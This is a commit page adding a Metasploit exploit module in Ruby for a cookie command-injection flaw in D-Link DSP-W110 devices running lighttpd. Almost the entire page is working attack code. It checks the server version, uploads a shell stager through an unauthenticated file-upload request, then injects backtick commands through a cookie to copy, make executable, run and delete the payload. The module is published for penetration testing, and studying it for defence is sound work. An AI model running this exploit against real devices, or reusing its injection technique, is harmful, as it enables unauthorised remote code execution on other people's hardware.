Land #5533, DSP-W110 cookie command injection
commit
b31c637c1b
|
@ -0,0 +1,152 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'D-Link Cookie Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an anonymous remote upload and code execution vulnerability on different
|
||||||
|
D-Link devices. The vulnerability is a command injection in the cookie handling process of the
|
||||||
|
lighttpd web server when handling specially crafted cookie values. This module has been
|
||||||
|
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC
|
||||||
|
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jun 12 2015',
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'MIPS Little Endian', # unknown if there are LE devices out there ... but in case we have a target
|
||||||
|
{
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_MIPSLE
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'MIPS Big Endian',
|
||||||
|
{
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_MIPSBE
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 1
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("#{peer} - Trying to access the device ...")
|
||||||
|
|
||||||
|
unless check == Exploit::CheckCode::Detected
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading stager ...")
|
||||||
|
@counter = 1
|
||||||
|
execute_cmdstager(
|
||||||
|
:flavor => :echo,
|
||||||
|
:linemax => 95 # limited by our upload, larger payloads crash the web server
|
||||||
|
)
|
||||||
|
|
||||||
|
print_status("#{peer} - creating payload and executing it ...")
|
||||||
|
|
||||||
|
(1 .. @counter).each do |act_file|
|
||||||
|
# the http server blocks access to our files ... we copy it to a new one
|
||||||
|
# the length of our command is restricted to 19 characters
|
||||||
|
cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
|
||||||
|
execute_final_command(cmd)
|
||||||
|
cmd = "chmod +x /tmp/#{act_file+@counter}"
|
||||||
|
execute_final_command(cmd)
|
||||||
|
cmd = "/tmp/#{act_file+@counter}"
|
||||||
|
execute_final_command(cmd)
|
||||||
|
cmd = "rm /tmp/#{act_file}"
|
||||||
|
execute_final_command(cmd)
|
||||||
|
cmd = "rm /tmp/#{act_file+@counter}"
|
||||||
|
execute_final_command(cmd)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd,opts)
|
||||||
|
# upload our stager to a shell script
|
||||||
|
# upload takes quite long because there is no response from the web server
|
||||||
|
|
||||||
|
file_upload = "#!/bin/sh\n"
|
||||||
|
file_upload << cmd << "\n"
|
||||||
|
|
||||||
|
post_data = Rex::MIME::Message.new
|
||||||
|
post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
|
||||||
|
post_data.bound = "-#{rand_text_alpha(12)}--"
|
||||||
|
file = post_data.to_s
|
||||||
|
|
||||||
|
@counter = @counter + 1
|
||||||
|
|
||||||
|
begin
|
||||||
|
send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => "/web_cgi.cgi",
|
||||||
|
'vars_get' => {
|
||||||
|
'&request' =>'UploadFile',
|
||||||
|
'path' => '/tmp/'
|
||||||
|
},
|
||||||
|
'encode_params' => false,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||||
|
'data' => file
|
||||||
|
})
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_final_command(cmd)
|
||||||
|
# very limited space - larger commands crash the webserver
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
|
||||||
|
begin
|
||||||
|
send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "/",
|
||||||
|
'cookie' => "i=`#{cmd}`"
|
||||||
|
}, 5)
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue